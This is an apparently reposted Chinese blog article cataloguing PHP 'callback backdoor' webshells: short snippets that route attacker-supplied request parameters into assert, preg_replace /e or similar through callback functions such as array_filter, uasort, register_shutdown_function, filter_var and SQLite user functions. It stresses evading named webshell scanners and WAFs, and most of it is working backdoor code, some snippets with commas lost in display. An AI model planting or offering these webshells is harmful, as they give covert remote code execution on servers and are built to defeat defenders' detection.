创造tips的秘籍——PHP回调后门

作者:Phithon

原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

    那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

0x00 前言

    有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

    一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

    QQ20150619-2@2x.png

    最近又看到有人在发这个:http://www.secoff.net/archives/436.html

    有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

    根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。

    我就自己给这类webshell起了个名字:回调后门。

 

0x01 回调后门的老祖宗

    php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

1 call_user_func('assert'$_REQUEST['pass']);

    assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

 

    这个后门,狗和盾都可以查到(但是狗不会拦截):

    QQ20150718-1@2x.png

    可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

1 call_user_func_array('assert'array($_REQUEST['pass']));

    call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

 

    QQ20150718-2@2x.png

    可见,虽然狗不杀了,D盾还是聪明地识别了出来。

    看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

 

0x02 数组操作造成的单参数回调后门

    进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

    我最早想到个最“简单好用的”:

1 $e $_REQUEST['e'];
2 $arr array($_POST['pass'],);
3 array_filter($arrbase64_decode($e));

    array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

 

    QQ20150718-5@2x.png

    这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

    QQ20150718-4@2x.png

    类似array_filter,array_map也有同样功效:

1 $e $_REQUEST['e'];
2 $arr array($_POST['pass'],);
3 array_map(base64_decode($e), $arr);

    依旧被D盾查杀。

    果然,简单的数组回调后门,还是很容易被发现与查杀的。

 

0x03 php5.4.8+中的assert

    php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

    QQ20150718-7@2x.png

    这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

    比如如下回调后门:

1 $e $_REQUEST['e'];
2 $arr array('test'$_REQUEST['pass']);
3 uasort($arrbase64_decode($e));

    这个后门在php5.3时会报错,提示assert只能有一个参数:

 

    QQ20150718-8@2x.png

    php版本改作5.4后就可以执行了:

    QQ20150718-9@2x.png

    这个后门,狗和盾是都查不出来的:

    QQ20150718-6@2x.png

    同样的道理,这个也是功能类似:

1 $e $_REQUEST['e'];
2 $arr array('test' => 1, $_REQUEST['pass'] => 2);
3 uksort($arr$e);

 

    再给出这两个函数,面向对象的方法:

1 // way 0
2 $arr new ArrayObject(array('test'$_REQUEST['pass']));
3 $arr->uasort('assert');
4  
5 // way 1
6 $arr new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
7 $arr->uksort('assert');

    再来两个类似的回调后门:

1 $e $_REQUEST['e'];
2 $arr array(1);
3 array_reduce($arr$e$_POST['pass']);
1 $e $_REQUEST['e'];
2 $arr array($_POST['pass']);
3 $arr2 array(1);
4 array_udiff($arr$arr2$e);

    以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

    我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

 

0x04 三参数回调函数

    有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

    array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

    QQ20150718-11@2x.png

    php中,可以执行代码的函数:

  1. 一个参数:assert
  2. 两个参数:assert (php5.4.8+)
  3. 三个参数:preg_replace /e模式

    三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

1 $e $_REQUEST['e'];
2 $arr array($_POST['pass'] => '|.*|e',);
3 array_walk($arr$e'');

    如图,这个后门可以在5.3下使用:

    QQ20150718-12@2x.png

    但强大的D盾还是有警觉(虽然只是等级2):

    QQ20150718-13@2x.png

    不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

1 $e $_REQUEST['e'];
2 $arr array($_POST['pass'] => '|.*|e',);
3 array_walk_recursive($arr$e'');

    不截图了。

    看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

1 mb_ereg_replace('.*'$_REQUEST['pass'], '''e');

    另一个:

1 echo preg_filter('|.*|e'$_REQUEST['pass'], '');

    这两个一句话都是不杀的:

    QQ20150718-14@2x.png

    QQ20150718-15@2x.png

    好用的一句话,且用且珍惜呀。

 

0x05 无回显回调后门

    回调后门里,有个特殊的例子:ob_start。

    ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

1 ob_start('assert');
2 echo $_REQUEST['pass'];
3 ob_end_flush();

    但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

    QQ20150718-17@2x.png

    QQ20150718-16@2x.png

    即使没输出,实际代码是执行了的。也算作回调后门的一种。

 

0x06 单参数后门终极奥义

    preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

    这里给出几个好用不杀的回调后门

1 $e $_REQUEST['e'];
2 register_shutdown_function($e$_REQUEST['pass']);

    这个是php全版本支持的,且不报不杀稳定执行:

    QQ20150718-19@2x.png

    QQ20150718-18@2x.png

    再来一个:

1 $e $_REQUEST['e'];
2 declare(ticks=1);
3 register_tick_function ($e$_REQUEST['pass']);

    再来两个:

1 filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
2 filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter'=> FILTER_CALLBACK, 'options' => 'assert')));

    这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

    这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

 

0x07 数据库操作与第三方库中的回调后门

    回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

    我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

1 $e $_REQUEST['e'];
2 $db new PDO('sqlite:sqlite.db3');
3 $db->sqliteCreateFunction('myfunc'$e, 1);
4 $sth $db->prepare("SELECT myfunc(:exec)");
5 $sth->execute(array(':exec' => $_REQUEST['pass']));

    执行之:

    QQ20150718-20@2x.png

    上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

1 $e $_REQUEST['e'];
2 $db new SQLite3('sqlite.db3');
3 $db->createFunction('myfunc'$e);
4 $stmt $db->prepare("SELECT myfunc(?)");
5 $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
6 $stmt->execute();

    前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

    这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。

    比如php_yaml:

1 $str = urlencode($_REQUEST['pass']);
2 $yaml = <<<EOD
3 greeting: !{$str"|.+|e"
4 EOD;
5 $parsed = yaml_parse($yaml, 0, $cntarray("!{$_REQUEST['pass']}" => 'preg_replace'));

    还有php_memcached:

1 $mem new Memcache();
2 $re $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e''return assert($a);'));
3 $mem->connect($_REQUEST['pass'], 11211, 0);

    自行研究吧。

 

0x08 其他参数型回调后门

    上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

    举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

    preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

    所以我们需要去“构造”一个满足条件的回调函数。

    怎么构造?使用create_function:

1 preg_replace_callback('/.+/i', create_function('$arr''return assert($arr[0]);'),$_REQUEST['pass']);

    “创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

 

    这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

    类似的,这个也同样:

1 mb_ereg_replace_callback('.+', create_function('$arr''return assert($arr[0]);'),$_REQUEST['pass']);

    再来一个利用CallbackFilterIterator方法的回调后门:

1 $iterator new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a''assert($a);'));
2 foreach ($iterator as $item) {
3     echo $item;
4 }

    这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。

 

0x09 后记

    这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

    实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

    简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。

posted @ 2015-11-18 05:32  Hookjoy  阅读(1552)  评论(0编辑  收藏  举报